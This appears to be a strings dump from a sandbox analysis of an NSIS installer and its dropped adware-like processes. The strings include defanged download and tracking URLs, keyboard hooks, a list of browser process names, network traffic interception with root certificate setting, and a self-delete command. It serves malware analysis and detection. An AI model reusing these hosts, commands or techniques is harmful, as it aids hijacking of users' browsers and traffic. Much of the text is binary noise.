c:\%original file name%.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.46

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

%s /s "%s"

regedit.exe

REG_KEY

%s%s%s

=hex(%x):

=dword:x

="%s"

[%s\%s]

[-%s\%s]

Windows Registry Editor Version 5.00

lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe_388:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|/":

ShowWebInPopUp

\LOCALS~1\Temp\nsr6.tmp\nsWeb.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsr6.tmp\nsWeb.dll

,thArnD.viBLMk

,thArnD.vBLMk

%Program Files%

\nsWeb.dll

hXXp://VVV.trackpixl.com/010914s/010914i.htm

$$\wininit.ini

@.reloc

n%D,3

GetProcessHeap

OLEAUT32.dll

CreateURLMoniker

urlmon.dll

WININET.dll

nsWeb.dll

ShowWebInPage

MSHTML.DLL

1 1$1(1,1014181

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsr6.tmp

nsr6.tmp

:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsr6.tmp

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\O9i6Q36wfl1gWtKDjwHgBZKOpuq9i6Q36wfl1gWtKDjwHgBZKOpuq

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp

lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl4.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe

9.6.9.3

iexplore.exe_1140:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.fg>

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

WNet.exe_656:

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

MAPI32.DLL

TURLAction

HelpKeywordp

TURLDownloadStatus

dsBeginSyncOperation

dsEndSyncOperation

dsFilterReportMIMEType

TDownLoadURL

URLMON.DLL

URLDownloadToFileA

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeywordT

crSQLWait

%s (%s)

imm32.dll

AutoHotkeys

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

Password

OnExecutepWE

127.0.0.1

255.0.0.0

ServiceExecute

\P_CheckUpdate.txt

NOVA UPDATE DISPONIVEL! URL:

\po_update.exe

hXXp://VVV.brsoftwarellc.com/services/rules.txt?dummy=

hXXp://VVV.brsoftwarellc.com/services/update.php?v=

&key=

\P_RuleList.txt

[E] ProductKey :

[N] ProductKey :

cmd.exe /c net start WNet

cmd.exe /c net stop WNet

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

ReportEventA

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

wsock32.dll

nfapi.dll

nf_tcpDisableFiltering

nf_setTCPTimeout

nf_tcpClose

nf_tcpPostReceive

nf_tcpPostSend

nf_tcpSetConnectionState

psapi.dll

ProtocolFilters.dll

5l6O6W6

?!?%?)?-?1?5?9?=?

5%6x6

1 1$1(1,1014181

0&0.080=0

2%3)3-31383

; ;$;(;,;0;4;8;

1#1'1 1/13171;1

=!=,=7=?=_=

5 5$5(5,505

3 3$3(3,3

3 3$3(3,3034383

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

I<.os8>

KWindows

UrlMon

OnExecute

No help keyword specified.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

shutdown(Service failed in custom message(%d): %s

Service installed successfully/Service "%s" failed to install with error: "%s" Service uninstalled successfully1Service "%s" failed to uninstall with error: "%s"

Error downloading URL: %s

Unable to load %s"Unable to find a Table of Contents

Alt Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

Service failed on %s: %s

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Error reading %s%s%s: %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

CashReminder.exe_2500:

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

MAPI32.DLL

TURLAction

HelpKeywordp

TURLDownloadStatus

dsBeginSyncOperation

dsEndSyncOperation

dsFilterReportMIMEType

TDownLoadURL

URLMON.DLL

URLDownloadToFileA

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeywordT

crSQLWait

%s (%s)

imm32.dll

AutoHotkeys

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

Password

OnExecutepWE

content-security-policy-report-only

127.0.0.1

255.0.0.0

ServiceExecute

\P_StoreList.txt

\P_CheckUpdate.txt

\cr_update.exe

hXXp://VVV.related.deals/services/rules?dummy=

hXXp://VVV.related.deals/services/stores?dummy=

hXXp://VVV.related.deals/services/update/

\P_RuleList.txt

[N] ProductKey :

cmd.exe /c net start CashReminder

cmd.exe /c net stop CashReminder

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

ReportEventA

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

wsock32.dll

nfapi.dll

nf_tcpDisableFiltering

nf_setTCPTimeout

nf_tcpClose

nf_tcpPostReceive

nf_tcpPostSend

nf_tcpSetConnectionState

psapi.dll

ProtocolFilters.dll

5l6O6W6

?!?%?)?-?1?5?9?=?

5%6x6

1 1$1(1,1014181

0&0.080=0

2%3)3-31383

; ;$;(;,;0;4;8;

1#1'1 1/13171;1

=!=,=7=?=_=

5 5$5(5,505

3 3$3(3,3

3 3$3(3,3034383

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

UrlMon

OnExecute

No help keyword specified.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

shutdown(Service failed in custom message(%d): %s

Service installed successfully/Service "%s" failed to install with error: "%s" Service uninstalled successfully1Service "%s" failed to uninstall with error: "%s"

Error downloading URL: %s

Unable to load %s"Unable to find a Table of Contents

Alt Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

Service failed on %s: %s

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Error reading %s%s%s: %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

ActSys.exe_2544:

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

MAPI32.DLL

TURLAction

TURLActionp

HelpKeywordD

TURLDownloadStatus

dsBeginSyncOperation

dsEndSyncOperation

dsFilterReportMIMEType

TDownLoadURL

TDownLoadURLT

URLMON.DLL

URLDownloadToFileA

OnKeyDown

OnKeyPress\

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeyword(

crSQLWait

%s (%s)

imm32.dll

Uhx%D

Uh[%D

AutoHotkeysX/D

AutoHotkeys

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreviewL6D

WindowState

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

Password

OnExecute

iexplore.exe

firefox.exe

chrome.exe

safari.exe

opera.exe

netscape.exe

torch.exe

seamonkey.exe

k-meleon.exe

konqueror.exe

maxthon.exe

flock.exe

lunascape.exe

amaya.exe

midori.exe

kidzui.exe

rockmelt.exe

sbrowser.exe

slimbrowser.exe

kidrocket.exe

epic.exe

ironbrowser.exe

comodo.exe

comododragon.exe

crazybrowser.exe

arora.exe

shenzbrowser.exe

enigmabrowser.exe

avant.exe

avantbrowser.exe

orca.exe

xbbrowser.exe

xbrowser.exe

sleipnir.exe

spacetime.exe

3dbrowse.exe

bitty.exe

java.exe

grail.exe

lynx.exe

twb.exe

tt.exe

pinkbrowser.exe

nuke.exe

acoo.exe

palemoon.exe

slimboat.exe

dooble.exe

menubox.exe

chromium.exe

ultrabrowser.exe

zac.exe

kylo.exe

morequick.exe

wyzo.exe

xombrero.exe

qupzilla.exe

cometbird.exe

qtweb.exe

deepnet.exe

xtravo.exe

smartbro.exe

jumpto.exe

weblock4kids.exe

weblock.exe

comodoice.exe

srwareiron.exe

srware.exe

coolnovo.exe

cool.exe

qup.exe

browseme.exe

swiftfox.exe

omniweb.exe

omni.exe

spark.exe

bobrowser.exe

crossbrowser.exe

crossbrowse.exe

content-security-policy-report-only

strict-transport-security

127.0.0.1

ServiceExecute

\P_CheckUpdate.txt

NOVA UPDATE DISPONIVEL! URL:

\nj_update.exe

hXXp://VVV.ninjasoftwarellc.com/services/rules.txt?dummy=

hXXp://VVV.ninjasoftwarellc.com/services/update.php?v=

&key=

\P_RuleList.txt

[E] ProductKey :

[N] ProductKey :

cmd.exe /c net start ActSys

cmd.exe /c net stop ActSys

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

ReportEventA

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

wsock32.dll

nfapi.dll

nf_setTCPTimeout

nf_udpPostReceive

nf_udpPostSend

nf_tcpClose

nf_tcpPostReceive

nf_tcpPostSend

nf_tcpSetConnectionState

psapi.dll

ProtocolFilters.dll

pfc_setRootSSLCertSubject

ws2_32.dll

5l6O6W6

=#=0=5=;=

3 3$3(3,303

5 5$5(5,5:5

8 8$8(8,8

9"9&9.949

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

UrlMon

No help keyword specified.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

shutdown(Service failed in custom message(%d): %s

Service installed successfully/Service "%s" failed to install with error: "%s" Service uninstalled successfully1Service "%s" failed to uninstall with error: "%s"

Error downloading URL: %s

Unable to load %s"Unable to find a Table of Contents

Alt Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

Service failed on %s: %s

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Error reading %s%s%s: %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

SSFK.exe_3392:

.text

`.rdata

@.data

.rsrc

USER32.dll

ADVAPI32.dll

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

SHLWAPI.dll

USERENV.dll

VERSION.dll

WININET.dll

/url=

\StringFileInfo\xx\

?456789:;

!"#$%&'()* ,-./0123

URLDownloadToFileW

E:\SFK\SSFK\Release\SSFK.pdb

RegOpenKeyExW

RegCloseKey

SHFileOperationW

InternetOpenUrlW

GetSystemWindowsDirectoryW

KERNEL32.dll

GetCPInfo

GetProcessHeap

%Program Files%\SFK\SSFK.exe

SFKEX64.exe

b:N%c

.OL;J

%Cpu_

0.qX:

?1.YV

D eR%u"

SFKEX.dll

.WZ/&p

5.PW(

Pu-t}

SFKEX.exe

.YxJlw

%x -31

{A.ID

Ã™sI

S.oOr

%uG1]

Q.Lw2[

SFKEX64.dll

h.qBs

S[%C

S,%f

(.bO

4g.wM>

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

gAdvapi32.dll

"%s" %s

psapi.dll

Explorer.exe

hXXp://xa.xingcloud.com/v4/sof-everything/

\SFK.ini

%s\SFK\

SFKURL

kernel32.dll

%s\SFK\%s

explorer.exe

%s%s?

xa.geoip&

n2=install.%s&

update0=ref,%s&up

date1=nation,%s&up

age,%s&

ersion,%s

%s%s?action=visit.%s.heartbeat&update3=version,%s

%s%s?action=visit.%s.heartbeat

%s%s?action=%s.visit.up&update3=version,%s

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;

hXXp://up.soft365.com/everything/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s

"file_url":"

Yrrehs.zip

ServiceEverything.exe

%s\SFK

%s\%s

\Yrrehs.zip

urlmon.dll

\Yrrehs.zip\*.*

%u_%u

%s_%s

%s_X

\\.\PhysicalDrive%d

%s%s%s

SSFK.exe

\SFKEX64.exe

\SFKEX.exe

2.0.6.26

WdsManPro.exe_3040:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

URLDownloadToFileW

URLDownloadToFileW ret:0XX

file_url

?456789:;

!"#$%&'()* ,-./0123

ShellExecuteExW

GetProcessHeap

KERNEL32.dll

USER32.dll

RegCreateKeyExW

RegCloseKey

RegCreateKeyW

ReportEventW

RegOpenKeyExW

ADVAPI32.dll

NETAPI32.dll

DeleteUrlCacheEntryW

WININET.dll

VERSION.dll

GetCPInfo

.?AVunsupported_os@Concurrency@@

.?AVinvalid_scheduler_policy_key@Concurrency@@

.?AVinvalid_operation@Concurrency@@

.?AVinvalid_oversubscribe_operation@Concurrency@@

.?AUITopologyExecutionResource@Concurrency@@

.?AVExecutionResource@details@Concurrency@@

.?AUIExecutionResource@Concurrency@@

.?AUIExecutionContext@Concurrency@@

zcÃ

.?AVCGReport@report@@

.?AVCHttpFileCallback@@

.?AUIHttpNegotiate@@

.?AVCCurlLib@report@@

.?AVCHttpFileCallback@report@@

`.data

.pdata

@.rsrc

msvcrt.dll

NTDLL.DLL

write.pdb

ShellExecuteW

_wcmdln

_amsg_exit

name="Microsoft.Windows.Shell.write"

version="5.1.0.0"

Windows Shell

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

true

00Q0X0]0j0

0 0$0(0,0004080

2$2(2,202

1 1$1(1,1014181

4585

9 9$9(9,9094989

2 2$2(2,2024282

; ;

combase.dll

Akernel32.dll

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

USER32.DLL

portuguese-brazilian

Cadvapi32.dll

%d.%d.%d.%d

xa.geoip

visit.heartbeat

%c%s%c

\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat

WdsManPro.exe

TypesSupported

%s is not installed

Could not remove %s. Error %d

@Advapi32.dll

/c ping VVV.baidu.com -n 2 > nul && del

urlmon.dll

//update.exe

%s %s

%s_%s

\\.\Phys

..\Src\json\src\json_value.cpp

..\Src\json\src\json_reader.cpp

xxxx

temp_r_T.txt

A..\Src\json\src\json_writer.cpp

Assertion failed: %s, file %s, line %d

%Documents and Settings%\All Users\Application Data\lWdsManProl\WdsManPro.exe

20.0.0.2301

SysTool.exe

DTools.exe

wordpad.exe

Windows Write

6.1.7600.16385 (win7_rtm.090713-1255)

Windows

Operating System

6.1.7600.16385

SFKEX.exe_2356:

.text

`.rdata

@.data

.rsrc

@.reloc

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

hXXp://VVV.mysearch123.com

z.php

\SFK.ini

ReportURL

hXXp://xa.

oud.com/v4/

SFKURL

E:\SFK\SFKEX\Demo\Release\SFKEX.pdb

KERNEL32.dll

USER32.dll

SHLWAPI.dll

URLDownloadToFileA

urlmon.dll

GetCPInfo

GetProcessHeap

%Program Files%\SFK\SFKEX.exe

4 4$4(4,4044484

6$6(6,606

; ;$;(;,;0;4;~;

mscoree.dll

- CRT not initialized

- Attempt to initialize the CRT more than once.

- floating point support not loaded

kernel32.dll

USER32.DLL

SFKEX.exe

SFKEX.dll

1111111

2222222

3333333

4444444

5555555

6666666